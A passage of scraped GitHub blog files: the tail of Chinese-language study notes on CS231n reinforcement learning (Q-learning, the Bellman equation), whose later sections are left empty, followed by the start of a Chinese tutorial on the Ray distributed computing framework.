ท่ฝฌ็งปๆฆ‚็Ž‡ๅˆ†ๅธƒ้ƒฝๆ˜ฏ้šๆœบ็š„๏ผŒ่€Œ่ฝฌ็งปๆฆ‚็Ž‡ๅˆ†ๅธƒไผš็ป™ๆˆ‘ไปฌไธ‹ไธ€ไธช็Šถๆ€็š„ๅˆ†ๅธƒ็ญ‰็ญ‰ใ€‚\n\nๆˆ‘ไปฌๆ‰€่ฆๅš็š„ๅฐฑๆ˜ฏๆœ€ๅคงๅŒ–้ข„ๆœŸ็š„ๅฅ–ๅŠฑๆ€ปๅ’Œใ€‚ๆฏ”่พƒๆญฃๅผๅœฐ๏ผŒๆˆ‘ไปฌๅฏไปฅๅ†™ๅ‡บๆœ€ไผ˜ๅ†ณ็ญ– $\\pi^*$๏ผŒไฝœไธบ่ฟ™ไธชๆœชๆฅๅฅ–ๅŠฑๅ†ณ็ญ–็š„้ข„ๆœŸๆ€ปๅ’Œ $\\pi$ ็š„ๆœ€ๅคงๅŒ–๏ผŒๅ…ถไธญๆˆ‘ไปฌๆœ‰ๅˆๅง‹็Šถๆ€๏ผŒๅฎƒๆ˜ฏ้‡‡ๆ ทไบŽ็Šถๆ€ๅˆ†ๅธƒ็š„๏ผŒๆˆ‘ไปฌๆœ‰่กŒไธบ๏ผŒ่ฟ™ไบ›่กŒไธบๆ˜ฏๆ นๆฎๆˆ‘ไปฌ็š„ๅ†ณ็ญ–ๅ’Œ็ป™ๅฎš็Šถๆ€้‡‡ๆ ท็š„๏ผŒ็„ถๅŽๆˆ‘ไปฌไปŽ่ฝฌ็งปๆฆ‚็Ž‡ๅˆ†ๅธƒไธญๆŠฝๅ–ไธ‹ไธ€ไธช็Šถๆ€ใ€‚\n\n\n\n### Definitions: Value function and Q-value function\n\n![](https://i.loli.net/2018/09/14/5b9b121395398.png) \n\nๅœจๆˆ‘ไปฌ่ฎจ่ฎบๅฆ‚ไฝ•ๆ‰พๅˆฐ่ฟ™ไธชๅ†ณ็ญ–ไน‹ๅ‰๏ผŒๆˆ‘ไปฌๅ…ˆๆฅ่ฐˆ่ฐˆไธ€ไบ›ๅฏนๆˆ‘ไปฌๆœ‰ๅธฎๅŠฉ็š„ๅฎšไน‰ใ€‚ๅ…ทไฝ“ๅœฐ่ฏด๏ผŒๆ˜ฏๆœ‰ๅ€ผๅ‡ฝๆ•ฐ๏ผˆvalue function๏ผ‰ๅ’Œ Q ๅ€ผๅ‡ฝๆ•ฐใ€‚ๆ‰€ไปฅ๏ผŒๅฝ“ๆˆ‘ไปฌ้ตๅพช่ฟ™ไธชๅ†ณ็ญ–็š„ๆ—ถๅ€™๏ผŒๆฏๆฌก่ฟญไปฃ้ƒฝ่ฆ้‡‡ๅ–ไธ€็ป„่กŒไธบ่ฝจ่ฟน๏ผŒ่€Œไธ”ๆˆ‘ไปฌๅฐ†ๆŠŠๆˆ‘ไปฌ็š„ๅˆๅง‹็Šถๆ€่ฎพไธบ้›ถ๏ผŒ$s_0,a_0,r_0,s_1,a_1,r_1$ ็ญ‰็ญ‰๏ผŒ่ฟ™ๆ ทๆˆ‘ไปฌๅฐฑไผšๅพ—ๅˆฐ็Šถๆ€ใ€่กŒๅŠจๅ’Œๅฅ–ๅŠฑ็š„่ฝจ่ฟนใ€‚\n\n้‚ฃไนˆๆˆ‘ไปฌ็›ฎๅ‰็š„ๆ‰€ๅค„็š„็Šถๆ€ๆœ‰ๅคšๅฅฝๅ‘ข๏ผŸไปปไฝ•็Šถๆ€ไธ‹็š„ไปทๅ€ผๅ‡ฝๆ•ฐ้ƒฝๆ˜ฏไปŽ็Šถๆ€ s ็š„ๅ†ณ็ญ–ๅˆฐ็Žฐๅœจ็š„ๅ†ณ็ญ–ไน‹ๅŽ็š„้ข„ๆœŸ็งฏ็ดฏๅ›ž้ฆˆใ€‚่ฟ™ๆ˜ฏไปŽๅฝ“ๅ‰็Šถๆ€ๅผ€ๅง‹๏ผŒๆœŸๆœ›็ดฏ็งฏๅฅ–ๅŠฑ็š„ๆœŸๆœ›ๅ€ผใ€‚\n\nไธ€ไธช็Šถๆ€+่กŒๅŠจ็ป„ๆœ‰ๅคšๅฅฝๅ‘ข๏ผŸๅœจ็Šถๆ€ s ๆ—ถ้‡‡ๅ–่กŒๅŠจ a ๆœ‰ๅคšๅฅฝๅ‘ข๏ผŸๆˆ‘ไปฌ็”จไธ€ไธช Q ๅ€ผๅ‡ฝๆ•ฐๆฅๅฎšไน‰่ฟ™ไธช้—ฎ้ข˜๏ผŒ้ตๅฎˆๅ†ณ็ญ–็š„ๆœŸๆœ›็ดฏ็งฏๅฅ–ๅŠฑ๏ผŒ่ฟ™ไธชๅ‡ฝๆ•ฐๆ˜ฏๅœจ็Šถๆ€ s ไธ‹้‡‡ๅ–่กŒๅŠจ aใ€‚\n\n\n\n### Bellman equation\n\n![](https://i.loli.net/2018/09/14/5b9b139adfb2b.png)\n\n้‚ฃไนˆๅฏไปฅๅพ—ๅˆฐๆœ€ไผ˜ Q ๅ€ผๅ‡ฝๆ•ฐๅฐฑๆ˜ฏ Q*๏ผŒ่ฟ™ๆ˜ฏๆˆ‘ไปฌไปŽ็ป™ๅฎš็š„็Šถๆ€ๅŠจไฝœ็ป„ไธ‹ๅพ—ๅˆฐ็š„ๆœ€ๅคงๆœŸๆœ›็ดฏ็งฏๅฅ–ๅŠฑใ€‚ๅฎƒ็š„ๅฎšไน‰ๅœจไธŠ้ข้ขใ€‚\n\nๆŽฅไธ‹ๆฅๆˆ‘ไปฌๅฐ†็œ‹ๅˆฐๅผบๅŒ–ๅญฆไน ไธญ็š„ไธ€ไธช้‡่ฆ็š„ไธœ่ฅฟ๏ผŒๅฐฑๆ˜ฏ Bellman ็ญ‰ๅผใ€‚ๆˆ‘ไปฌๆฅ่€ƒ่™‘ไธ€ไธ‹่ฟ™ไธช Q ๅ€ผๅ‡ฝๆ•ฐ็š„ๆœ€ไผ˜็ญ–็•ฅ Q*๏ผŒ่ฟ™ไธชๆœ€ไผ˜็ญ–็•ฅ Q\\* ่ฆๆปก่ถณ Bellman ็ญ‰ๅผ๏ผŒไธŠ้ขๅฐฑๆ˜ฏๅฎƒ็š„ๅฎšไน‰๏ผŒๅฏไปฅ็œ‹ๅˆฐ่ฟ™ไนŸๆ„ๅ‘ณ็€็ป™ๅฎšไปปไฝ•็Šถๆ€ๅŠจไฝœ็ป„ s ๅ’Œ a๏ผŒ่ฟ™ไธ€ๅฏน็š„ไปทๅ€ผๅฐฑๆ˜ฏไฝ ๅฐ†่ฆๅพ—ๅˆฐ็š„ๅ›ž้ฆˆ r๏ผŒๅ†ๅŠ ไธŠไฝ ๆœ€็ปˆ่ฟ›ๅ…ฅ็š„ไปปไฝ•็Šถๆ€็š„ไปทๅ€ผ๏ผŒไนŸๅฐฑๆ˜ฏ s'ใ€‚ๆ—ข็„ถๆˆ‘ไปฌ็Ÿฅ้“ไบ†ๆœ€ไฝณๅ†ณ็ญ–๏ผŒไนŸ็Ÿฅ้“่ฆๅœจ sโ€˜ ็Šถๆ€ไธ‹ๆ‰ง่กŒๆˆ‘ไปฌ่ƒฝๅš็š„ๆœ€ๅฅฝ็š„่กŒๅŠจ๏ผŒ้‚ฃไนˆๅœจ็Šถๆ€ sโ€™ ไธŠ็š„ๅ€ผๅฐฑไผšๆˆไธบๆˆ‘ไปฌ่กŒๅŠจไธŠ็š„ๆœ€ๅคงๅ€ผ Q\\* ๅœจ s' ่ฝฌๆ”นไธ‹็š„ a'ใ€‚็„ถๅŽ๏ผŒๆˆ‘ไปฌๅฐฑๅพ—ๅˆฐไบ†ไธŠ้ข็š„ๆœ€ไฝณ Q ๅ€ผ็š„่กจ่พพๅผใ€‚ไธ€ๅฆ‚ๆ—ขๅพ€๏ผŒๆˆ‘ไปฌๅœจ่ฟ™้‡Œๆœ‰่ฟ™ๆ ท็š„ๆœŸๆœ›๏ผŒๅ› ไธบๅฏนๆˆ‘ไปฌๅฐ†่ฆ็ป“ๆŸ็š„็Šถๆ€ๅ…ทๆœ‰้šๆœบๆ€งใ€‚\n\nๆˆ‘ไปฌไนŸๅฏไปฅไปŽ่ฟ™้‡ŒๆŽจๆ–ญๅ‡บๆˆ‘ไปฌ็š„ๆœ€ไผ˜็ญ–็•ฅๅฐฑๆ˜ฏๅœจไปปไฝ•็Šถๆ€ไธ‹ๆŒ‰็…งๅ…ทไฝ“็š„ Q\\* ้‡‡ๅ–ๆœ€ๅฅฝ็š„่กŒๅŠจ๏ผŒQ\\* ๅฐ†ไผšๅ‘Š่ฏ‰ๆˆ‘ไปฌๅฏไปฅไปŽๆˆ‘ไปฌ็š„ไปปไฝ•่กŒๅŠจไธญ่Žทๅพ—ๆœ€ๅคง็š„ๆœชๆฅๅ›ž้ฆˆ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๅบ”่ฏฅ้‡‡ๅ–ไธ€ไธช้ตๅพช่ฟ™ไธ€ๆ–น้’ˆ็š„ๅ†ณ็ญ–๏ผŒ็„ถๅŽๅช้‡‡ๅ–่ฟ™ไธช่กŒไธบๅฐฑๅฏไปฅๅธฆๆฅๆœ€ไฝณๅฅ–ๅŠฑใ€‚\n\n\n\n### Solving for the optimal policy\n\n![](https://i.loli.net/2018/09/14/5b9b169637738.png)\n\n้‚ฃไนˆๆˆ‘ไปฌ่ฏฅๅฆ‚ไฝ•ๆฑ‚่งฃ่ฟ™ไธชๆœ€ไผ˜็ญ–็•ฅ๏ผŸ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜็š„ไธ€็งๆ–นๆณ•ๅฐฑๆ˜ฏๆ‰€่ฐ“็š„ๅ€ผ่ฟญไปฃ็ฎ—ๆณ•๏ผŒๆˆ‘ไปฌๅฐ†้€š่ฟ‡ Bellman ๆ–น็จ‹ไฝœไธบ่ฟญไปฃๆ›ดๆ–ฐ๏ผŒๅœจๆฏไธ€ๆญฅไธญ๏ผŒๆˆ‘ไปฌๅฐ†้€š่ฟ‡่ฏ•ๅ›พๅผบๅŒ– Bellman ๆ–น็จ‹ๆฅๆ”น่ฟ›ๆˆ‘ไปฌๅฏน Q\\* ็š„่ฟ‘ไผผใ€‚ๅœจไธ€ไบ›ๆ•ฐๅญฆๆกไปถไธ‹๏ผŒๆˆ‘ไปฌไนŸ็Ÿฅ้“่ฟ™ไธชๅบๅˆ— Q ๅ’Œๅ‡ฝๆ•ฐ $Q_i$ ๅฐ†ๆ”ถๆ•›ๅˆฐๆˆ‘ไปฌ็š„ๆœ€ไผ˜ Q\\* ๅœจ i ่ถ‹่ฟ‘ไบŽๆ— ็ฉท็š„ๆ—ถๅ€™ใ€‚\n\nไฝ†ๅญ˜ๅœจไป€ไนˆ้—ฎ้ข˜ๅ‘ข๏ผŸไธ€ไธช้‡่ฆ้—ฎ้ข˜ๆ˜ฏ๏ผšๅฎƒๆ˜ฏไธๅฏๆ‰ฉๅฑ•็š„๏ผˆnot scalable๏ผ‰ใ€‚ๆˆ‘ไปฌๅฟ…้กป่ฎก็ฎ—ๆฏไธช็Šถๆ€ๅŠจไฝœ็ป„็š„ s ๅ€ผ๏ผŒไปฅไพฟ่ฟ›่กŒ่ฟญไปฃๆ›ดๆ–ฐ๏ผŒไฝ†่ฟ™ๅฐฑๆœ‰ไธ€ไธช้—ฎ้ข˜ไบ†๏ผŒๅฆ‚ๆžœไฝ ็œ‹ไธ€ไธ‹่ฟ™ไบ›ๆธธๆˆ็š„็Šถๆ€๏ผŒๆฏ”ๅฆ‚ๆˆ‘ไปฌ่ฐˆ่ฟ‡็š„ Atari ๆธธๆˆ๏ผŒๅฐ†ๆ˜ฏๅƒ็ด ๅฑๅน•๏ผŒ่ฟ™ๆ˜ฏไธ€ไธชๅทจๅคง็š„็Šถๆ€็ฉบ้—ดใ€‚ๅŽป่ฎก็ฎ—ๆ•ดไธช็Šถๆ€็ฉบ้—ดๆ˜ฏไธๅฏ่กŒ็š„ใ€‚้‚ฃๆœ‰ไป€ไนˆ่งฃๅ†ณๅŠžๆณ•ๅ‘ข๏ผŸๆˆ‘ไปฌๅฏไปฅไฝฟ็”จๅ‡ฝๆ•ฐ้€ผ่ฟ‘ๅ™จๆฅไผฐ่ฎก Q ็š„ s, a๏ผŒไพ‹ๅฆ‚๏ผŒไธ€ไธช็ฅž็ป็ฝ‘็ปœใ€‚ไน‹ๅ‰ๆˆ‘ไปฌๅทฒ็ป็œ‹ๅˆฐ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ่ฆไผฐ่ฎกไธ€ไบ›็œŸๆญฃ็š„ไธ็Ÿฅ้“็š„ๅคๆ‚ๅ‡ฝๆ•ฐ๏ผŒ้‚ฃไนˆ็ฅž็ป็ฝ‘็ปœๅฐฑๆ˜ฏไธ€ไธชๅพˆๅฅฝ็š„ไผฐ่ฎกๆ–นๆณ•ใ€‚\n\n\n\n## Q-Learning\n\nๆŽฅไธ‹ๆฅ็œ‹็œ‹ Q-learning ็š„ๅฝขๅผ๏ผš\n\n![](https://i.loli.net/2018/09/14/5b9b1883a9d6b.png)\n\nๆˆ‘ไปฌ่ฆๅš็š„ๆ˜ฏไฝฟ็”จๅ‡ฝๆ•ฐ้€ผ่ฟ‘ๅ™จๆฅไผฐ่ฎกๆˆ‘ไปฌ็š„ๅŠจไฝœๅ€ผๅ‡ฝๆ•ฐใ€‚ๅฆ‚ๆžœ่ฟ™ไธชๅ‡ฝๆ•ฐ้€ผ่ฟ‘ๅ™จๆ˜ฏๆœ€่ฟ‘่ขซไฝฟ็”จ่ฟ‡็š„๏ผŒๆฏ”ๅฆ‚ๆทฑๅบฆ็ฅž็ป็ฝ‘็ปœ๏ผŒ้‚ฃไนˆ่ฟ™ๅฐฑ่ขซ็งฐไธบ deep Q-learning๏ผ\n\nๅœจ่ฟ™็งๆƒ…ๅ†ตไธ‹๏ผŒๆˆ‘ไปฌไนŸๆœ‰ๆˆ‘ไปฌ็š„ๅ‡ฝๆ•ฐๅ‚ๆ•ฐ $\\theta$๏ผŒๆ‰€ไปฅๆˆ‘ไปฌ็š„ Q ๅ€ผๅ‡ฝๆ•ฐๆ˜ฏ็”ฑๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœ็š„่ฟ™ไบ›ๆƒ้‡ $\\theta$ ๅ†ณๅฎš็š„ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/14/5b9b194b3f47c.png)\n\nๅฅฝ๏ผŒ็ป™ๅ‡บ่ฟ™ไธชๅ‡ฝๆ•ฐ่ฟ‘ไผผๅŽ๏ผŒๆˆ‘ไปฌๅฆ‚ไฝ•ๆฑ‚่งฃๆˆ‘ไปฌ็š„ๆœ€ไผ˜็ญ–็•ฅ๏ผŸ่ฎฐๅพ—ๆˆ‘ไปฌ่ฆๆ‰พไธ€ไธชๆปก่ถณ Bellman ๆ–น็จ‹็š„ Q ๅ‡ฝๆ•ฐ๏ผŒๆ‰€ไปฅๆˆ‘ไปฌๆƒณ่ฆๅผบๅˆถไฝฟ่ฟ™ไธช Bellman ๆ–น็จ‹ๆˆ็ซ‹ไบ†๏ผŒๅฝ“ๆˆ‘ไปฌๆœ‰่ฟ™ไธช็ฅž็ป็ฝ‘็ปœ้€ผ่ฟ‘ๆˆ‘ไปฌ็š„ Q ๅ‡ฝๆ•ฐๆ—ถ๏ผŒๆˆ‘ไปฌๅฏไปฅๅš็š„ๆ˜ฏๅฏไปฅๅฐ่ฏ•่ฎญ็ปƒ่ฟ™ไธชๆŸๅคฑๅ‡ฝๆ•ฐๅนถๆœ€ๅฐๅŒ– Bellman ๆ–น็จ‹ๅผ็š„่ฏฏๅทฎ๏ผŒๆˆ–่€… Q(s, a) ็ฆป็›ฎๆ ‡็š„่ท็ฆป๏ผˆๅณ่พน็š„ $y_i$ ๏ผ‰๏ผŒ่ฟ™ๅฐฑๆ˜ฏไน‹ๅ‰็œ‹ๅˆฐ็š„ Bellman ๆ–น็จ‹ใ€‚\n\nๆˆ‘ไปฌ่ฆ็”จ่ฟ™ไบ›ๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ‰ๅ‘ไผ ๆ’ญๆฅ่ฏ•ๅ›พๆœ€ๅฐๅŒ–่ฟ™ไธช่ฏฏๅทฎ๏ผŒ็„ถๅŽ่ฟ›่กŒๅŽๅ‘ไผ ้€’๏ผŒๆขฏๅบฆๆ›ดๆ–ฐๅชไผšๆ˜ฏ้‡‡ๅ–ไธญๆŸๅคฑ็š„ๆขฏๅบฆ๏ผŒๅฐฑๆˆ‘ไปฌ็š„็ฝ‘็ปœๅ‚ๆ•ฐ็š„ $\\theta$ใ€‚ๆ‰€ไปฅๆˆ‘ไปฌ็š„็›ฎๆ ‡ๆ˜ฏไบง็”Ÿๅƒๆˆ‘ไปฌๆญฃๅœจ้€ๆญฅๅฐ่ฏ•่ฟญไปฃไฝฟ Q ๅ‡ฝๆ•ฐๆ›ดๆŽฅ่ฟ‘ๆˆ‘็š„็›ฎๆ ‡ๅ€ผ็š„ๆ•ˆๆžœใ€‚\n\nๆฅ็œ‹ไธชไพ‹ๅญ๏ผšCase Study: Playing Atari Games\n\n![](https://i.loli.net/2018/09/14/5b9b1adad3963.png)\n\n\n\n### Q-network Architecture\n\n### ๏ผˆๆš‚ๆ—ถๆ”พๅผƒๆฒป็–—ใ€‚ใ€‚ใ€‚ใ€‚ใ€‚๏ผ‰\n\n\n\n\n\n\n\n## Policy Gradients\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_14.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" src=\"https://i.creativecommons.org/l/by-nc-sa/4.0/88x31.png\" /></a><br />This work is licensed under a <a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License</a>.\n<br>\n\n<script type=\"application/json\" class=\"js-hypothesis-config\">\n {\n \"openSidebar\": false,\n \"showHighlights\": true,\n \"theme\": classic,\n \"enableExperimentalNewNoteButton\": true\n }\n</script>\n<script async src=\"https://hypothes.is/embed.js\"></script>\n\n\n" }, { "alpha_fraction": 0.6835020780563354, "alphanum_fraction": 0.7076212763786316, "avg_line_length": 35.12053680419922, "blob_id": "4531f68a3436dd13171488d3bff756a66b1d0785", "content_id": "355588f6f09938b02375d4a55f269049d384264d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 63563, "license_type": "no_license", "max_line_length": 470, "num_lines": 1709, "path": "/blog/posts/Ray_Tutorial.md", "repo_name": "iphysresearch/iphysresearch.github.io", "src_encoding": "UTF-8", "text": "---\ntitle: Ray Tutorial\ndate: 2018-12-13\n---\n\n[่ฟ”ๅ›žๅˆฐ้ฆ–้กต](../index.html)\n\n---\n\n![](https://i.loli.net/2018/12/13/5c11e943c8355.png)\n\n**Ray is a flexible, high-performance distributed execution framework.**\n\n---\n\n[TOC]\n\n# Ray \n\n> **Some important references:** \n>\n> - Ray่ฎบๆ–‡๏ผš[Real-Time Machine Learning: The Missing Pieces](https://arxiv.org/abs/1703.03924)\n>\n> - Rayๅผ€ๅ‘ๆ‰‹ๅ†Œ๏ผš<http://ray.readthedocs.io/en/latest/index.html>\n>\n> - Rayๆบไปฃ็ ๏ผš<https://github.com/ray-project/ray>\n> - [้ซ˜ๆ€ง่ƒฝๅˆ†ๅธƒๅผๆ‰ง่กŒๆก†ๆžถโ€”โ€”Ray](https://www.cnblogs.com/fanzhidongyzby/p/7901139.html) ๏ผˆblog๏ผ‰\n>\n> - [Ray - ้ขๅ‘ๅขžๅผบๅญฆไน ๅœบๆ™ฏ็š„ๅˆ†ๅธƒๅผ่ฎก็ฎ—ๆก†ๆžถ](https://www.jianshu.com/p/a5f8665d84ff) ๏ผˆblog๏ผ‰\n> - [Rayโ€”โ€”ไธบAI่€Œ็”Ÿ็š„้ซ˜ๆ€ง่ƒฝๅˆ†ๅธƒๅผๆ‰ง่กŒๆก†ๆžถ](http://gaiding.com/index.html)๏ผˆbook๏ผ‰\n>\n>\n>\n> **Core concepts**:\n>\n> Ray ๆ˜ฏไฝฟ็”จไป€ไนˆๆ ท็š„ๆžถๆž„ๅฏนๅˆ†ๅธƒๅผ่ฎก็ฎ—ๅšๅ‡บๅฆ‚ไธŠๆŠฝ่ฑก็š„ๅ‘ข๏ผŒไธ€ไธ‹็ป™ๅ‡บไบ† Ray ็š„็ณป็ปŸๆžถๆž„๏ผˆๆฅ่‡ช Ray [่ฎบๆ–‡](https://arxiv.org/abs/1703.03924)๏ผ‰ใ€‚\n>\n> ![](https://i.loli.net/2018/12/13/5c11e73c9a133.png)\n>\n> ไฝœไธบๅˆ†ๅธƒๅผ่ฎก็ฎ—็ณป็ปŸ๏ผŒRay ไปๆ—ง้ตๅพชไบ†ๅ…ธๅž‹็š„ Master-Slave ็š„่ฎพ่ฎก๏ผšMaster ่ดŸ่ดฃๅ…จๅฑ€ๅ่ฐƒๅ’Œ็Šถๆ€็ปดๆŠค๏ผŒSlave ๆ‰ง่กŒๅˆ†ๅธƒๅผ่ฎก็ฎ—ไปปๅŠกใ€‚ไธ่ฟ‡ๅ’Œไผ ็ปŸ็š„ๅˆ†ๅธƒๅผ่ฎก็ฎ—็ณป็ปŸไธๅŒ็š„ๆ˜ฏ๏ผŒRayไฝฟ็”จไบ†**ๆททๅˆไปปๅŠก่ฐƒๅบฆ**็š„ๆ€่ทฏใ€‚ๅœจ้›†็พค้ƒจ็ฝฒๆจกๅผไธ‹๏ผŒRay ๅฏๅŠจไบ†ไปฅไธ‹ๅ…ณ้”ฎ็ป„ไปถ๏ผš\n>\n> 1. **GlobalScheduler**๏ผšMasterไธŠๅฏๅŠจไบ†ไธ€ไธชๅ…จๅฑ€่ฐƒๅบฆๅ™จ๏ผŒ็”จไบŽๆŽฅๆ”ถๆœฌๅœฐ่ฐƒๅบฆๅ™จๆไบค็š„ไปปๅŠก๏ผŒๅนถๅฐ†ไปปๅŠกๅˆ†ๅ‘็ป™ๅˆ้€‚็š„ๆœฌๅœฐไปปๅŠก่ฐƒๅบฆๅ™จๆ‰ง่กŒใ€‚\n> 2. **RedisServer**๏ผšMasterไธŠๅฏๅŠจไบ†ไธ€ๅˆฐๅคšไธชRedisServer็”จไบŽไฟๅญ˜ๅˆ†ๅธƒๅผไปปๅŠก็š„็Šถๆ€ไฟกๆฏ๏ผˆControlState๏ผ‰๏ผŒๅŒ…ๆ‹ฌๅฏน่ฑกๆœบๅ™จ็š„ๆ˜ ๅฐ„ใ€ไปปๅŠกๆ่ฟฐใ€ไปปๅŠกdebugไฟกๆฏ็ญ‰ใ€‚\n> 3. **LocalScheduler**๏ผšๆฏไธชSlaveไธŠๅฏๅŠจไบ†ไธ€ไธชๆœฌๅœฐ่ฐƒๅบฆๅ™จ๏ผŒ็”จไบŽๆไบคไปปๅŠกๅˆฐๅ…จๅฑ€่ฐƒๅบฆๅ™จ๏ผŒไปฅๅŠๅˆ†้…ไปปๅŠก็ป™ๅฝ“ๅ‰ๆœบๅ™จ็š„Worker่ฟ›็จ‹ใ€‚\n> 4. **Worker**๏ผšๆฏไธชSlaveไธŠๅฏไปฅๅฏๅŠจๅคšไธชWorker่ฟ›็จ‹ๆ‰ง่กŒๅˆ†ๅธƒๅผไปปๅŠก๏ผŒๅนถๅฐ†่ฎก็ฎ—็ป“ๆžœๅญ˜ๅ‚จๅˆฐObjectStoreใ€‚\n> 5. **ObjectStore**๏ผšๆฏไธชSlaveไธŠๅฏๅŠจไบ†ไธ€ไธชObjectStoreๅญ˜ๅ‚จๅช่ฏปๆ•ฐๆฎๅฏน่ฑก๏ผŒWorkerๅฏไปฅ้€š่ฟ‡ๅ…ฑไบซๅ†…ๅญ˜็š„ๆ–นๅผ่ฎฟ้—ฎ่ฟ™ไบ›ๅฏน่ฑกๆ•ฐๆฎ๏ผŒ่ฟ™ๆ ทๅฏไปฅๆœ‰ๆ•ˆๅœฐๅ‡ๅฐ‘ๅ†…ๅญ˜ๆ‹ท่ดๅ’Œๅฏน่ฑกๅบๅˆ—ๅŒ–ๆˆๆœฌใ€‚ObjectStoreๅบ•ๅฑ‚็”ฑApache Arrowๅฎž็Žฐใ€‚\n> 6. **Plasma**๏ผšๆฏไธชSlaveไธŠ็š„ObjectStore้ƒฝ็”ฑไธ€ไธชๅไธบPlasma็š„ๅฏน่ฑก็ฎก็†ๅ™จ่ฟ›่กŒ็ฎก็†๏ผŒๅฎƒๅฏไปฅๅœจWorker่ฎฟ้—ฎๆœฌๅœฐObjectStoreไธŠไธๅญ˜ๅœจ็š„่ฟœ็จ‹ๆ•ฐๆฎๅฏน่ฑกๆ—ถ๏ผŒไธปๅŠจๆ‹‰ๅ–ๅ…ถๅฎƒSlaveไธŠ็š„ๅฏน่ฑกๆ•ฐๆฎๅˆฐๅฝ“ๅ‰ๆœบๅ™จใ€‚\n>\n> ้œ€่ฆ่ฏดๆ˜Ž็š„ๆ˜ฏ๏ผŒRay็š„่ฎบๆ–‡ไธญๆๅŠ๏ผŒๅ…จๅฑ€่ฐƒๅบฆๅ™จๅฏไปฅๅฏๅŠจไธ€ๅˆฐๅคšไธช๏ผŒ่€Œ็›ฎๅ‰Ray็š„ๅฎž็Žฐๆ–‡ๆกฃ้‡Œ่ฎจ่ฎบ็š„ๅ†…ๅฎน้ƒฝๆ˜ฏๅŸบไบŽไธ€ไธชๅ…จๅฑ€่ฐƒๅบฆๅ™จ็š„ๆƒ…ๅ†ตใ€‚ๆˆ‘็Œœๆต‹ๅฏ่ƒฝๆ˜ฏRayๅฐšๅœจๅปบ่ฎพไธญ๏ผŒไธ€ไบ›ๆœบๅˆถ่ฟ˜ๆœชๅฎŒๅ–„๏ผŒๅŽ็ปญ่ฏป่€…ๅฏไปฅ็•™ๆ„ๆญคๅค„็š„็ป†่Š‚ๅ˜ๅŒ–ใ€‚\n>\n> Ray็š„ไปปๅŠกไนŸๆ˜ฏ้€š่ฟ‡็ฑปไผผSparkไธญDriver็š„ๆฆ‚ๅฟต็š„ๆ–นๅผ่ฟ›่กŒๆไบค็š„๏ผŒๆœ‰ๆ‰€ไธๅŒ็š„ๆ˜ฏ๏ผš\n>\n> 1. Spark็š„Driverๆไบค็š„ๆ˜ฏไปปๅŠกDAG๏ผŒไธ€ๆ—ฆๆไบคๅˆ™ไธๅฏๆ›ดๆ”นใ€‚\n> 2. ่€ŒRayๆไบค็š„ๆ˜ฏๆ›ด็ป†็ฒ’ๅบฆ็š„remote function๏ผŒไปปๅŠกDAGไพ่ต–ๅ…ณ็ณป็”ฑๅ‡ฝๆ•ฐไพ่ต–ๅ…ณ็ณป่‡ช็”ฑๅฎšๅˆถใ€‚\n>\n> ่ฎบๆ–‡็ป™ๅ‡บ็š„ๆžถๆž„ๅ›พ้‡Œๅนถๆœช็”ปๅ‡บDriver็š„ๆฆ‚ๅฟต๏ผŒๅ› ๆญค่ฟ™ไฝ [็‰›ไบบ](http://www.cnblogs.com/fanzhidongyzby/p/7901139.html) ๅœจๅ…ถๅŸบ็ก€ไธŠๅšไบ†ไธ€ไบ›ไฟฎๆ”นๅ’Œๆ‰ฉๅ……ใ€‚\n>\n> ![](https://i.loli.net/2018/12/13/5c11e7a40f05a.png)\n>\n> Ray็š„Driver่Š‚็‚นๅ’Œๅ’ŒSlave่Š‚็‚นๅฏๅŠจ็š„็ป„ไปถๅ‡ ไนŽ็›ธๅŒ๏ผŒไธ่ฟ‡ๅดๆœ‰ไปฅไธ‹ๅŒบๅˆซ๏ผš\n>\n> 1. DriverไธŠ็š„ๅทฅไฝœ่ฟ›็จ‹DriverProcessไธ€่ˆฌๅชๆœ‰ไธ€ไธช๏ผŒๅณ็”จๆˆทๅฏๅŠจ็š„PythonShellใ€‚Slaveๅฏไปฅๆ นๆฎ้œ€่ฆๅˆ›ๅปบๅคšไธชWorkerProcessใ€‚\n> 2. Driverๅช่ƒฝๆไบคไปปๅŠก๏ผŒๅดไธ่ƒฝๆŽฅๆ”ถๆฅ่‡ชๅ…จๅฑ€่ฐƒๅบฆๅ™จๅˆ†้…็š„ไปปๅŠกใ€‚SlaveๅฏไปฅๆไบคไปปๅŠก๏ผŒไนŸๅฏไปฅๆŽฅๆ”ถๅ…จๅฑ€่ฐƒๅบฆๅ™จๅˆ†้…็š„ไปปๅŠกใ€‚\n> 3. DriverๅฏไปฅไธปๅŠจ็ป•่ฟ‡ๅ…จๅฑ€่ฐƒๅบฆๅ™จ็ป™Slaveๅ‘้€Actor่ฐƒ็”จไปปๅŠก๏ผˆๆญคๅค„่ฎพ่ฎกๆ˜ฏๅฆๅˆ็†ๅฐšไธ่ฎจ่ฎบ๏ผ‰ใ€‚Slaveๅช่ƒฝๆŽฅๆ”ถๅ…จๅฑ€่ฐƒๅบฆๅ™จๅˆ†้…็š„่ฎก็ฎ—ไปปๅŠกใ€‚\n\n\n\n---\n\n# Ray Tutorial (with solutions)\n\n**Github**๏ผšhttps://github.com/ray-project/tutorial\n\n\n\n---\n\n## Try Ray on Binder (Experimental)\n\nTry the Ray tutorials online on [Binder](https://mybinder.org/v2/gh/ray-project/tutorial/master).\n\n\n\n> ไธบไบ†ๆ–นไพฟๅญฆไน ๅ’ŒๆŸฅๆ‰พ๏ผŒๅฐ† 12 ไธช Exercise 